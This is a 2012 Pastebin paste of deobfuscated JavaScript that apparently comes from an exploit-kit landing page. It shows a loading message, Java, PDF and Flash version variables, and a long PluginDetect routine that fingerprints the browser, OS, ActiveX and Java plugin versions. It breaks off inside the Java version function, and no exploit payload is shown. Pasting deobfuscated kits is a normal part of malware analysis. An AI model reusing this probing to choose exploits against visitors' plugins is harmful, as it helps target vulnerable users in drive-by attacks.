Advertisement
shixiliufang

index_deobfuscated

Jan 29th, 2012
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  document.write("<center><h1>Please wait page is loading...</h1></center><hr>");
  2.  function end_redirect()
  3.  {
  4.  }
  5.  var jver = [0, 0, 0, 0], pdfver = [0, 0, 0, 0], flashver = [0, 0, 0, 0];
  6.  try
  7.  {
  8.    var PluginDetect =
  9.    {
  10.      handler: function (c, b, a)
  11.      {
  12.        return function ()
  13.        {
  14.          c(b, a);
  15.        }
  16.        ;
  17.      }
  18.      , isDefined: function (b)
  19.      {
  20.        return typeof b != "undefined";
  21.      }
  22.      , isArray: function (b)
  23.      {
  24.        return /array/i.test(Object.prototype.toString.call(b));
  25.      }
  26.      , isFunc: function (b)
  27.      {
  28.        return typeof b == "function";
  29.      }
  30.      , isString: function (b)
  31.      {
  32.        return typeof b == "string";
  33.      }
  34.      , isNum: function (b)
  35.      {
  36.        return typeof b == "number";
  37.      }
  38.      , isStrNum: function (b)
  39.      {
  40.        return typeof b == "string" && /\d/.test(b);
  41.      }
  42.      , getNumRegx: /[\d][\d\.\_,-]*/, splitNumRegx: /[\.\_,-]/g, getNum: function (b, c)
  43.      {
  44.        var d = this, a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  45.        return a ? a[0] : null;
  46.      }
  47.      , compareNums: function (h, f, d)
  48.      {
  49.        var e = this, c, b, a, g = parseInt;
  50.        if (e.isStrNum(h) && e.isStrNum(f))
  51.        {
  52.          if (e.isDefined(d) && d.compareNums)
  53.          {
  54.            return d.compareNums(h, f);
  55.          }
  56.          c = h.split(e.splitNumRegx);
  57.          b = f.split(e.splitNumRegx);
  58.          for (a = 0;
  59.          a < Math.min(c.length, b.length);
  60.          a++)
  61.          {
  62.            if (g(c[a], 10) > g(b[a], 10))
  63.            {
  64.              return 1;
  65.            }
  66.            if (g(c[a], 10) < g(b[a], 10))
  67.            {
  68.              return -1;
  69.            }
  70.            
  71.          }
  72.          
  73.        }
  74.        return 0;
  75.      }
  76.      , formatNum: function (b, c)
  77.      {
  78.        var d = this, a, e;
  79.        if (!d.isStrNum(b))
  80.        {
  81.          return null;
  82.        }
  83.        if (!d.isNum(c))
  84.        {
  85.          c = 4;
  86.        }
  87.        c--;
  88.        e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  89.        for (a = 0;
  90.        a < 4;
  91.        a++)
  92.        {
  93.          if (/^(0+)(.+)$/.test(e[a]))
  94.          {
  95.            e[a] = RegExp.$2;
  96.          }
  97.          if (a > c || !/\d/.test(e[a]))
  98.          {
  99.            e[a] = "0";
  100.          }
  101.          
  102.        }
  103.        return e.slice(0, 4).join(",");
  104.      }
  105.      , $$hasMimeType: function (a)
  106.      {
  107.        return function (d)
  108.        {
  109.          if (!a.isIE && d)
  110.          {
  111.            var c, b, e, f = a.isString(d) ? [d] : d;
  112.            if (!f || !f.length)
  113.            {
  114.              return null;
  115.            }
  116.            for (e = 0;
  117.            e < f.length;
  118.            e++)
  119.            {
  120.              if (/[^\s]/.test(f[e]) && (c = navigator.mimeTypes[f[e]]) && (b = c.enabledPlugin) && (b.name || b.description))
  121.              {
  122.                return c;
  123.              }
  124.              
  125.            }
  126.            
  127.          }
  128.          return null;
  129.        }
  130.        ;
  131.      }
  132.      , findNavPlugin: function (l, e, c)
  133.      {
  134.        var j = this, h = new RegExp(l, "i"), d = !j.isDefined(e) || e ? /\d/ : 0, k = c ? new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  135.        for (f = 0;
  136.        f < a.length;
  137.        f++)
  138.        {
  139.          m = a[f].description || g;
  140.          b = a[f].name || g;
  141.          if (h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)) || h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))
  142.          {
  143.            if (!k || !(k.test(m) || k.test(b)))
  144.            {
  145.              return a[f];
  146.            }
  147.            
  148.          }
  149.          
  150.        }
  151.        return null;
  152.      }
  153.      , getMimeEnabledPlugin: function (a, f)
  154.      {
  155.        var e = this, b, c = new RegExp(f, "i"), d = "";
  156.        if ((b = e.hasMimeType(a)) && (b = b.enabledPlugin) && (c.test(b.description || d) || c.test(b.name || d)))
  157.        {
  158.          return b;
  159.        }
  160.        return 0;
  161.      }
  162.      , getPluginFileVersion: function (f, b)
  163.      {
  164.        var h = this, e, d, g, a, c = -1;
  165.        if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version)))
  166.        {
  167.          return b;
  168.        }
  169.        if (!b)
  170.        {
  171.          return e;
  172.        }
  173.        e = h.formatNum(e);
  174.        b = h.formatNum(b);
  175.        d = b.split(h.splitNumRegx);
  176.        g = e.split(h.splitNumRegx);
  177.        for (a = 0;
  178.        a < d.length;
  179.        a++)
  180.        {
  181.          if (c > -1 && a > c && !(d[a] == "0"))
  182.          {
  183.            return b;
  184.          }
  185.          if (g[a] != d[a])
  186.          {
  187.            if (c == -1)
  188.            {
  189.              c = a;
  190.            }
  191.            if (d[a] != "0")
  192.            {
  193.              return b;
  194.            }
  195.            
  196.          }
  197.          
  198.        }
  199.        return e;
  200.      }
  201.      , AXO: window.ActiveXObject, getAXO: function (b)
  202.      {
  203.        var f = null, d, c = this, a;
  204.        try
  205.        {
  206.          f = new c.AXO(b);
  207.        }
  208.        catch (d)
  209.        {
  210.          
  211.        }
  212.        return f;
  213.      }
  214.      , convertFuncs: function (g)
  215.      {
  216.        var a, h, f, b = /^[$][$]/, d =
  217.        {
  218.          
  219.        }
  220.        , c = this;
  221.        for (a in g)
  222.        {
  223.          if (b.test(a))
  224.          {
  225.            d[a] = 1;
  226.          }
  227.          
  228.        }
  229.        for (a in d)
  230.        {
  231.          try
  232.          {
  233.            h = a.slice(2);
  234.            if (h.length > 0 && !g[h])
  235.            {
  236.              g[h] = g[a](g);
  237.              delete g[a];
  238.            }
  239.            
  240.          }
  241.          catch (f)
  242.          {
  243.            
  244.          }
  245.          
  246.        }
  247.        
  248.      }
  249.      , initScript: function ()
  250.      {
  251.        var c = this, a = navigator, e = "/", i = a.userAgent || "", g = a.vendor || "", b = a.platform || "", h = a.product || "";
  252.        c.OS = 100;
  253.        if (b)
  254.        {
  255.          var f, d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pockets*PC", 22.3, "", 100];
  256.          for (f = d.length - 2;
  257.          f >= 0;
  258.          f = f - 2)
  259.          {
  260.            if (d[f] && (new RegExp(d[f], "i")).test(b))
  261.            {
  262.              c.OS = d[f + 1];
  263.              break;
  264.            }
  265.            
  266.          }
  267.          
  268.        }
  269.        c.convertFuncs(c);
  270.        c.isIE = (new Function("return " + e + "*@cc_on!@*" + e + "fa" + "lse"))();
  271.        c.verIE = c.isIE && /MSIE\s*(\d+\.?\d*)/i.test(i) ? parseFloat(RegExp.$1, 10) : null;
  272.        c.ActiveXEnabled = false;
  273.        if (c.isIE)
  274.        {
  275.          var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  276.          for (f = 0;
  277.          f < j.length;
  278.          f++)
  279.          {
  280.            if (c.getAXO(j[f]))
  281.            {
  282.              c.ActiveXEnabled = true;
  283.              break;
  284.            }
  285.            
  286.          }
  287.          c.head = c.isDefined(document.getElementsByTagName) ? document.getElementsByTagName("head")[0] : null;
  288.        }
  289.        c.isGecko = /Gecko/i.test(h) && /Gecko\s*\/\s*\d/i.test(i);
  290.        c.verGecko = c.isGecko ? c.formatNum(/rv\s*\:\s*([\.\,\d]+)/i.test(i) ? RegExp.$1 : "0.9") : null;
  291.        c.isSafari = /Safari\s*\/\s*\d/i.test(i) && /Apple/i.test(g);
  292.        c.isChrome = /Chrome\s*\/\s*(\d[\d\.]*)/i.test(i);
  293.        c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  294.        c.isOpera = /Opera\s*[\/]?\s*(\d+\.?\d*)/i.test(i);
  295.        c.verOpera = c.isOpera && (/Version\s*\/\s*(\d+\.?\d*)/i.test(i) || 1) ? parseFloat(RegExp.$1, 10) : null;
  296.        c.addWinEvent("load", c.handler(c.runWLfuncs, c));
  297.      }
  298.      , init: function (c)
  299.      {
  300.        var b = this, a, c;
  301.        if (!b.isString(c))
  302.        {
  303.          return -3;
  304.        }
  305.        if (c.length == 1)
  306.        {
  307.          b.getVersionDelimiter = c;
  308.          return -3;
  309.        }
  310.        c = c.toLowerCase().replace(/\s/g, "");
  311.        a = b[c];
  312.        if (!a || !a.getVersion)
  313.        {
  314.          return -3;
  315.        }
  316.        b.plugin = a;
  317.        if (!b.isDefined(a.installed))
  318.        {
  319.          a.installed = a.version = a.version0 = a.getVersionDone = null;
  320.          a.$ = b;
  321.          a.pluginName = c;
  322.        }
  323.        b.garbage = false;
  324.        if (b.isIE && !b.ActiveXEnabled)
  325.        {
  326.          if (a !== b.java)
  327.          {
  328.            return -2;
  329.          }
  330.          
  331.        }
  332.        return 1;
  333.      }
  334.      , fPush: function (b, a)
  335.      {
  336.        var c = this;
  337.        if (c.isArray(a) && (c.isFunc(b) || c.isArray(b) && b.length > 0 && c.isFunc(b[0])))
  338.        {
  339.          a.push(b);
  340.        }
  341.        
  342.      }
  343.      , callArray: function (b)
  344.      {
  345.        var c = this, a;
  346.        if (c.isArray(b))
  347.        {
  348.          for (a = 0;
  349.          a < b.length;
  350.          a++)
  351.          {
  352.            if (b[a] === null)
  353.            {
  354.              return;
  355.            }
  356.            c.call(b[a]);
  357.            b[a] = null;
  358.          }
  359.          
  360.        }
  361.        
  362.      }
  363.      , call: function (c)
  364.      {
  365.        var b = this, a = b.isArray(c) ? c.length : -1;
  366.        if (a > 0 && b.isFunc(c[0]))
  367.        {
  368.          c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0);
  369.        }
  370.        else
  371.        {
  372.          if (b.isFunc(c))
  373.          {
  374.            c(b);
  375.          }
  376.          
  377.        }
  378.        
  379.      }
  380.      , getVersionDelimiter: ",", $$getVersion: function (a)
  381.      {
  382.        return function (g, d, c)
  383.        {
  384.          var e = a.init(g), f, b, h;
  385.          if (e < 0)
  386.          {
  387.            return null;
  388.          }
  389.          f = a.plugin;
  390.          if (f.getVersionDone != 1)
  391.          {
  392.            f.getVersion(null, d, c);
  393.            if (f.getVersionDone === null)
  394.            {
  395.              f.getVersionDone = 1;
  396.            }
  397.            
  398.          }
  399.          a.cleanup();
  400.          b = f.version || f.version0;
  401.          b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  402.          return b;
  403.        }
  404.        ;
  405.      }
  406.      , cleanup: function ()
  407.      {
  408.        var a = this;
  409.        if (a.garbage && a.isDefined(window.CollectGarbage))
  410.        {
  411.          window.CollectGarbage();
  412.        }
  413.        
  414.      }
  415.      , addWinEvent: function (d, c)
  416.      {
  417.        var e = this, a = window, b;
  418.        if (e.isFunc(c))
  419.        {
  420.          if (a.addEventListener)
  421.          {
  422.            a.addEventListener(d, c, false);
  423.          }
  424.          else
  425.          {
  426.            if (a.attachEvent)
  427.            {
  428.              a.attachEvent("on" + d, c);
  429.            }
  430.            else
  431.            {
  432.              b = a["on" + d];
  433.              a["on" + d] = e.winHandler(c, b);
  434.            }
  435.            
  436.          }
  437.          
  438.        }
  439.        
  440.      }
  441.      , winHandler: function (d, c)
  442.      {
  443.        return function ()
  444.        {
  445.          d();
  446.          if (typeof c == "function")
  447.          {
  448.            c();
  449.          }
  450.          
  451.        }
  452.        ;
  453.      }
  454.      , WLfuncs0: [], WLfuncs: [], runWLfuncs: function (a)
  455.      {
  456.        a.winLoaded = true;
  457.        a.callArray(a.WLfuncs0);
  458.        a.callArray(a.WLfuncs);
  459.        if (a.onDoneEmptyDiv)
  460.        {
  461.          a.onDoneEmptyDiv();
  462.        }
  463.        
  464.      }
  465.      , winLoaded: false, $$onWindowLoaded: function (a)
  466.      {
  467.        return function (b)
  468.        {
  469.          if (a.winLoaded)
  470.          {
  471.            a.call(b);
  472.          }
  473.          else
  474.          {
  475.            a.fPush(b, a.WLfuncs);
  476.          }
  477.          
  478.        }
  479.        ;
  480.      }
  481.      , $$onDetectionDone: function (a)
  482.      {
  483.        return function (h, g, c, b)
  484.        {
  485.          var d = a.init(h), j, e;
  486.          if (d == -3)
  487.          {
  488.            return -1;
  489.          }
  490.          e = a.plugin;
  491.          if (!a.isArray(e.funcs))
  492.          {
  493.            e.funcs = [];
  494.          }
  495.          if (e.getVersionDone != 1)
  496.          {
  497.            j = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b);
  498.          }
  499.          if (e.installed != -0.5 && e.installed != 0.5)
  500.          {
  501.            a.call(g);
  502.            return 1;
  503.          }
  504.          if (e.NOTF)
  505.          {
  506.            a.fPush(g, e.funcs);
  507.            return 0;
  508.          }
  509.          return 1;
  510.        }
  511.        ;
  512.      }
  513.      , div: null, divWidth: 50, pluginSize: 1, emptyDiv: function ()
  514.      {
  515.        var c = this, a, e, b, d = 0;
  516.        if (c.div && c.div.childNodes)
  517.        {
  518.          for (a = c.div.childNodes.length - 1;
  519.          a >= 0;
  520.          a--)
  521.          {
  522.            b = c.div.childNodes[a];
  523.            if (b && b.childNodes)
  524.            {
  525.              if (d == 0)
  526.              {
  527.                for (e = b.childNodes.length - 1;
  528.                e >= 0;
  529.                e--)
  530.                {
  531.                  b.removeChild(b.childNodes[e]);
  532.                }
  533.                c.div.removeChild(b);
  534.              }
  535.              else
  536.              {
  537.                
  538.              }
  539.              
  540.            }
  541.            
  542.          }
  543.          
  544.        }
  545.        
  546.      }
  547.      , DONEfuncs: [], onDoneEmptyDiv: function ()
  548.      {
  549.        var c = this, a, b;
  550.        if (!c.winLoaded)
  551.        {
  552.          return;
  553.        }
  554.        if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null)
  555.        {
  556.          return;
  557.        }
  558.        for (a in c)
  559.        {
  560.          b = c[a];
  561.          if (b && b.funcs)
  562.          {
  563.            if (b.OTF == 3)
  564.            {
  565.              return;
  566.            }
  567.            if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null)
  568.            {
  569.              return;
  570.            }
  571.            
  572.          }
  573.          
  574.        }
  575.        for (a = 0;
  576.        a < c.DONEfuncs.length;
  577.        a++)
  578.        {
  579.          c.callArray(c.DONEfuncs);
  580.        }
  581.        c.emptyDiv();
  582.      }
  583.      , getWidth: function (c)
  584.      {
  585.        if (c)
  586.        {
  587.          var a = c.scrollWidth || c.offsetWidth, b = this;
  588.          if (b.isNum(a))
  589.          {
  590.            return a;
  591.          }
  592.          
  593.        }
  594.        return -1;
  595.      }
  596.      , getTagStatus: function (m, g, a, b)
  597.      {
  598.        var c = this, f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.span, i = c.getWidth(d);
  599.        if (!k || !h || !d || !c.getDOMobj(m))
  600.        {
  601.          return -2;
  602.        }
  603.        if (j < i || l < 0 || j < 0 || i < 0 || !(i > c.pluginSize) || c.pluginSize < 1)
  604.        {
  605.          return 0;
  606.        }
  607.        if (l >= i)
  608.        {
  609.          return -1;
  610.        }
  611.        try
  612.        {
  613.          if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4))
  614.          {
  615.            if (!m.winLoaded && c.winLoaded)
  616.            {
  617.              return 1;
  618.            }
  619.            if (m.winLoaded && c.isNum(b))
  620.            {
  621.              if (!c.isNum(m.count))
  622.              {
  623.                m.count = b;
  624.              }
  625.              if (b - m.count >= 10)
  626.              {
  627.                return 1;
  628.              }
  629.              
  630.            }
  631.            
  632.          }
  633.          
  634.        }
  635.        catch (f)
  636.        {
  637.          
  638.        }
  639.        return 0;
  640.      }
  641.      , getDOMobj: function (g, a)
  642.      {
  643.        var f, d = this, c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  644.        try
  645.        {
  646.          if (b && a)
  647.          {
  648.            c.firstChild.focus();
  649.          }
  650.          
  651.        }
  652.        catch (f)
  653.        {
  654.          
  655.        }
  656.        return b ? c.firstChild : null;
  657.      }
  658.      , setStyle: function (b, g)
  659.      {
  660.        var f = b.style, a, d, c = this;
  661.        if (f && g)
  662.        {
  663.          for (a = 0;
  664.          a < g.length;
  665.          a = a + 2)
  666.          {
  667.            try
  668.            {
  669.              f[g[a]] = g[a + 1];
  670.            }
  671.            catch (d)
  672.            {
  673.              
  674.            }
  675.            
  676.          }
  677.          
  678.        }
  679.        
  680.      }
  681.      , insertDivInBody: function (i)
  682.      {
  683.        var g, d = this, h = "pd33993399", c = null, f = document, b = "<", a = f.getElementsByTagName("body")[0] || f.body;
  684.        if (!a)
  685.        {
  686.          try
  687.          {
  688.            f.write(b + "div id=\"" + h + "\">o" + b + "/div>");
  689.            c = f.getElementById(h);
  690.          }
  691.          catch (g)
  692.          {
  693.            
  694.          }
  695.          
  696.        }
  697.        a = f.getElementsByTagName("body")[0] || f.body;
  698.        if (a)
  699.        {
  700.          if (a.firstChild && d.isDefined(a.insertBefore))
  701.          {
  702.            a.insertBefore(i, a.firstChild);
  703.          }
  704.          else
  705.          {
  706.            a.appendChild(i);
  707.          }
  708.          if (c)
  709.          {
  710.            a.removeChild(c);
  711.          }
  712.          
  713.        }
  714.        else
  715.        {
  716.          
  717.        }
  718.        
  719.      }
  720.      , insertHTML: function (g, b, h, a, k)
  721.      {
  722.        var l, m = document, j = this, q, o = m.createElement("span"), n, i, f = "<";
  723.        var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  724.        if (!j.isDefined(a))
  725.        {
  726.          a = "";
  727.        }
  728.        if (j.isString(g) && /[^\s]/.test(g))
  729.        {
  730.          q = f + g + " width=\"" + j.pluginSize + "\" height=\"" + j.pluginSize + "\" ";
  731.          for (n = 0;
  732.          n < b.length;
  733.          n = n + 2)
  734.          {
  735.            if (/[^\s]/.test(b[n + 1]))
  736.            {
  737.              q += b[n] + "=\"" + b[n + 1] + "\" ";
  738.            }
  739.            
  740.          }
  741.          q += ">";
  742.          for (n = 0;
  743.          n < h.length;
  744.          n = n + 2)
  745.          {
  746.            if (/[^\s]/.test(h[n + 1]))
  747.            {
  748.              q += f + "param name=\"" + h[n] + "\" value=\"" + h[n + 1] + "\" />";
  749.            }
  750.            
  751.          }
  752.          q += a + f + "/" + g + ">";
  753.        }
  754.        else
  755.        {
  756.          q = a;
  757.        }
  758.        if (!j.div)
  759.        {
  760.          j.div = m.createElement("div");
  761.          i = m.getElementById("plugindetect");
  762.          if (i)
  763.          {
  764.            j.div = i;
  765.          }
  766.          else
  767.          {
  768.            j.div.id = "plugindetect";
  769.            j.insertDivInBody(j.div);
  770.          }
  771.          j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", j.pluginSize + 3 + "px", "fontSize", j.pluginSize + 3 + "px", "lineHeight", j.pluginSize + 3 + "px", "verticalAlign", "baseline", "display", "block"]));
  772.          if (!i)
  773.          {
  774.            j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  775.          }
  776.          
  777.        }
  778.        if (j.div && j.div.parentNode)
  779.        {
  780.          j.div.appendChild(o);
  781.          j.setStyle(o, c.concat(["fontSize", j.pluginSize + 3 + "px", "lineHeight", j.pluginSize + 3 + "px", "verticalAlign", "baseline", "display", "inline"]));
  782.          try
  783.          {
  784.            if (o && o.parentNode)
  785.            {
  786.              o.focus();
  787.            }
  788.            
  789.          }
  790.          catch (l)
  791.          {
  792.            
  793.          }
  794.          try
  795.          {
  796.            o.innerHTML = q;
  797.          }
  798.          catch (l)
  799.          {
  800.            
  801.          }
  802.          if (o.childNodes.length == 1 && j.isGecko && j.compareNums(j.verGecko, "1,5,0,0") >= 0)
  803.          {
  804.            j.setStyle(o.firstChild, c.concat(["display", "inline"]));
  805.          }
  806.          return
  807.          {
  808.            span: o, winLoaded: j.winLoaded, tagName: j.isString(g) ? g : ""
  809.          }
  810.          ;
  811.        }
  812.        return
  813.        {
  814.          span: null, winLoaded: j.winLoaded, tagName: ""
  815.        }
  816.        ;
  817.      }
  818.      , java:
  819.      {
  820.        mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"], mimeTypeJPI: "application/x-java-applet;
  821.       jpi-version=", classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93", DTKclassID: "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA", DTKmimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;
  822.       DeploymentToolkit"], forceVerifyTag: [], jar: [], Enabled: navigator.javaEnabled(), VENDORS: ["Sun Microsystems Inc.", "Apple Computer, Inc."], OTF: null, All_versions: [], mimeTypeJPIresult: "", JavaPlugin_versions: [], JavaVersions: [[1, 9, 2, 30], [1, 8, 2, 30], [1, 7, 2, 30], [1, 6, 1, 30], [1, 5, 1, 30], [1, 4, 2, 30], [1, 3, 1, 30]], searchJavaPluginAXO: function ()
  823.        {
  824.          var h = null, a = this, c = a.$, g = [], j = [1, 5, 0, 14], i = [1, 6, 0, 2], f = [1, 3, 1, 0], e = [1, 4, 2, 0], d = [1, 5, 0, 7], b = false;
  825.          if (!c.ActiveXEnabled)
  826.          {
  827.            return null;
  828.          }
  829.          if (c.verIE - a.minIEver >= 0)
  830.          {
  831.            g = a.searchJavaAXO(i, i, b);
  832.            if (g.length > 0 && b)
  833.            {
  834.              g = a.searchJavaAXO(j, j, b);
  835.            }
  836.            
  837.          }
  838.          else
  839.          {
  840.            if (g.length == 0)
  841.            {
  842.              g = a.searchJavaAXO(f, e, false);
  843.            }
  844.            
  845.          }
  846.          if (g.length > 0)
  847.          {
  848.            h = g[0];
  849.          }
  850.          a.JavaPlugin_versions = [].concat(g);
  851.          return h;
  852.        }
  853.        , searchJavaAXO: function (l, i, m)
  854.        {
  855.          var n, f, h = this.$, q, k, a, e, g, j, b, r = [];
  856.          if (h.compareNums(l.join(","), i.join(",")) > 0)
  857.          {
  858.            i = l;
  859.          }
  860.          i = h.formatNum(i.join(","));
  861.          var o, d = "1,4,2,0", c = "JavaPlugin." + l[0] + "" + l[1] + "" + l[2] + "" + (l[3] > 0 ? "_" + (l[3] < 10 ? "0" : "") + l[3] : "");
  862.          for (n = 0;
  863.          n < this.JavaVersions.length;
  864.          n++)
  865.          {
  866.            f = this.JavaVersions[n];
  867.            q = "JavaPlugin." + f[0] + "" + f[1];
  868.            g = f[0] + "." + f[1] + ".";
  869.            for (a = f[2];
  870.            a >= 0;
  871.            a--)
  872.            {
  873.              b = "JavaWebStart.isInstalled." + g + a + ".0";
  874.              if (h.compareNums(f[0] + "," + f[1] + "," + a + ",0", i) >= 0 && !h.getAXO(b))
  875.              {
  876.                continue;
  877.              }
  878.              o = h.compareNums(f[0] + "," + f[1] + "," + a + ",0", d) < 0 ? true : false;
  879.              for (e = f[3];
  880.              e >= 0;
  881.              e--)
  882.              {
  883.                k = a + "_" + (e < 10 ? "0" + e : e);
  884.                j = q + k;
  885.                if (h.getAXO(j) && (o || h.getAXO(b)))
  886.                {
  887.                  r.push(g + k);
  888.                  if (!m)
  889.                  {
  890.                    return r;
  891.                  }
  892.                  
  893.                }
  894.                if (j == c)
  895.                {
  896.                  return r;
  897.                }
  898.                
  899.              }
  900.              if (h.getAXO(q + a) && (o || h.getAXO(b)))
  901.              {
  902.                r.push(g + a);
  903.                if (!m)
  904.                {
  905.                  return r;
  906.                }
  907.                
  908.              }
  909.              if (q + a == c)
  910.              {
  911.                return r;
  912.              }
  913.              
  914.            }
  915.            
  916.          }
  917.          return r;
  918.        }
  919.        , minIEver: 7, getMimeJPIversion: function ()
  920.        {
  921.          var h, a = this, d = a.$, c = new RegExp("(" + a.mimeTypeJPI + ")(d.*)", "i"), k = new RegExp("Java", "i"), e, j, f = "", i =
  922.          {
  923.            
  924.          }
  925.          , g = 0, b;
  926.          for (h = 0;
  927.          h < navigator.mimeTypes.length;
  928.          h++)
  929.          {
  930.            j = navigator.mimeTypes[h];
  931.            if (c.test(j.type) && (e = j.enabledPlugin) && (j = RegExp.$2) && (k.test(e.description || f) || k.test(e.name || f)))
  932.            {
  933.              i["a" + d.formatNum(j)] = j;
  934.            }
  935.            
  936.          }
  937.          b = "0,0,0,0";
  938.          for (h in i)
  939.          {
  940.            g++;
  941.            e = h.slice(1);
  942.            if (d.compareNums(e, b) > 0)
  943.            {
  944.              b = e;
  945.            }
  946.            
  947.          }
  948.          a.mimeTypeJPIresult = g > 0 ? a.mimeTypeJPI + i["a" + b] : "";
  949.          return g > 0 ? b : null;
  950.        }
  951.        , getVersion: function (m, d, l)
  952.        {
  953.          var f, c = this, e = c.$, h = c.NOTF, b = c.applet, j = c.verify, i = vendor = versionEnabled = null;
  954.          if (c.getVersionDone === null)
  955.          {
  956.            c.OTF = 0;
  957.            c.mimeObj = e.hasMimeType(c.mimeType);
  958.            c.deployTK.$ = e;
  959.            c.deployTK.parentNode = c;
  960.            b.$ = e;
  961.            b.parentNode = c;
  962.            if (h)
  963.            {
  964.              h.$ = e;
  965.              h.parentNode = c;
  966.            }
  967.            if (j)
  968.            {
  969.              j.parentNode = c;
  970.              j.$ = e;
  971.              j.init();
  972.            }
  973.            
  974.          }
  975.          var k;
  976.          if (e.isArray(l))
  977.          {
  978.            for (k = 0;
  979.            k < b.allowed.length;
  980.            k++)
  981.            {
  982.              if (e.isNum(l[k]))
  983.              {
  984.                b.allowed[k] = l[k];
  985.              }
  986.              
  987.            }
  988.            
  989.          }
  990.          for (k = 0;
  991.          k < c.forceVerifyTag.length;
  992.          k++)
  993.          {
  994.            b.allowed[k] = c.forceVerifyTag[k];
  995.          }
  996.          if (e.isString(d))
  997.          {
  998.            c.jar.push(d);
  999.          }
  1000.          if (c.getVersionDone == 0)
  1001.          {
  1002.            if (!c.version || b.canTryAny())
  1003.            {
  1004.              f = b.insertHTMLQueryAll(d);
  1005.              if (f[0])
  1006.              {
  1007.                c.installed = 1;
  1008.                c.EndGetVersion(f[0], f[1]);
  1009.              }
  1010.              
  1011.            }
  1012.            return;
  1013.          }
  1014.          var g = c.deployTK.query();
  1015.          if (g.JRE)
  1016.          {
  1017.            i = g.JRE;
  1018.            vendor = c.VENDORS[0];
  1019.          }
  1020.          if (!e.isIE)
  1021.          {
  1022.            var q, n, a, o;
  1023.            o = c.mimeObj && c.Enabled ? true : false;
  1024.            if (!i && (f = c.getMimeJPIversion()) !== null)
  1025.            {
  1026.              i = f;
  1027.            }
  1028.            if (!i && c.mimeObj)
  1029.            {
  1030.              f = "Java[^d]*Plug-in";
  1031.              a = e.findNavPlugin(f);
  1032.              if (a)
  1033.              {
  1034.                f = new RegExp(f, "i");
  1035.                q = f.test(a.description || "") ? e.getNum(a.description) : null;
  1036.                n = f.test(a.name || "") ? e.getNum(a.name) : null;
  1037.                if (q && n)
  1038.                {
  1039.                  i = e.compareNums(e.formatNum(q), e.formatNum(n)) >= 0 ? q : n;
  1040.                }
  1041.                else
  1042.                {
  1043.                  i = q || n;
  1044.                }
  1045.                
  1046.              }
  1047.              
  1048.            }
  1049.            if (!i && c.mimeObj && e.isSafari && e.OS == 2)
  1050.            {
  1051.              a = e.findNavPlugin("Java.*d.*Plug-in.*Cocoa", 0);
  1052.              if (a)
  1053.              {
  1054.                q = e.getNum(a.description);
  1055.                if (q)
  1056.                {
  1057.                  i = q;
  1058.                }
  1059.                
  1060.              }
  1061.              
  1062.            }
  1063.            if (i)
  1064.            {
  1065.              c.version0 = i;
  1066.              if (c.Enabled)
  1067.              {
  1068.                versionEnabled = i;
  1069.              }
  1070.              
  1071.            }
  1072.            
  1073.          }
  1074.          else
  1075.          {
  1076.            if (!i && g.status == 0)
  1077.            {
  1078.              i = c.searchJavaPluginAXO();
  1079.              if (i)
  1080.              {
  1081.                vendor = c.VENDORS[0];
  1082.              }
  1083.              
  1084.            }
  1085.            if (i)
  1086.            {
  1087.              c.version0 = i;
  1088.              if (c.Enabled && e.ActiveXEnabled)
  1089.              {
  1090.                versionEnabled = i;
  1091.              }
  1092.              
  1093.            }
  1094.            
  1095.          }
  1096.          if (!versionEnabled || b.canTryAny())
  1097.          {
  1098.            f = b.insertHTMLQueryAll(d);
  1099.            if (f[0])
  1100.            {
  1101.              versionEnabled = f[0];
  1102.              vendor = f[1];
  1103.            }
  1104.            
  1105.          }
  1106.          if (!versionEnabled && (f = c.queryWithoutApplets())[0])
  1107.          {
  1108.            c.version0 = versionEnabled = f[0];
  1109.            vendor = f[1];
  1110.            if (c.installed == -0.5)
  1111.            {
  1112.              c.installed = 0.5;
  1113.            }
  1114.            
  1115.          }
  1116.          if (e.isSafari && e.OS == 2)
  1117.          {
  1118.            if (!versionEnabled && o)
  1119.            {
  1120.              if (c.installed === null)
  1121.              {
  1122.                c.installed = 0;
  1123.              }
  1124.              else
  1125.              {
  1126.                if (c.installed == -0.5)
  1127.                {
  1128.                  c.installed = 0.5;
  1129.                }
  1130.                
  1131.              }
  1132.              
  1133.            }
  1134.            
  1135.          }
  1136.          if (c.jreDisabled())
  1137.          {
  1138.            versionEnabled = null;
  1139.          }
  1140.          if (c.installed === null)
  1141.          {
  1142.            c.installed = versionEnabled ? 1 : i ? -0.2 : -1;
  1143.          }
  1144.          c.EndGetVersion(versionEnabled, vendor);
  1145.        }
  1146.        , EndGetVersion: function (b, d)
  1147.        {
  1148.          var a = this, c = a.$;
  1149.          if (a.version0)
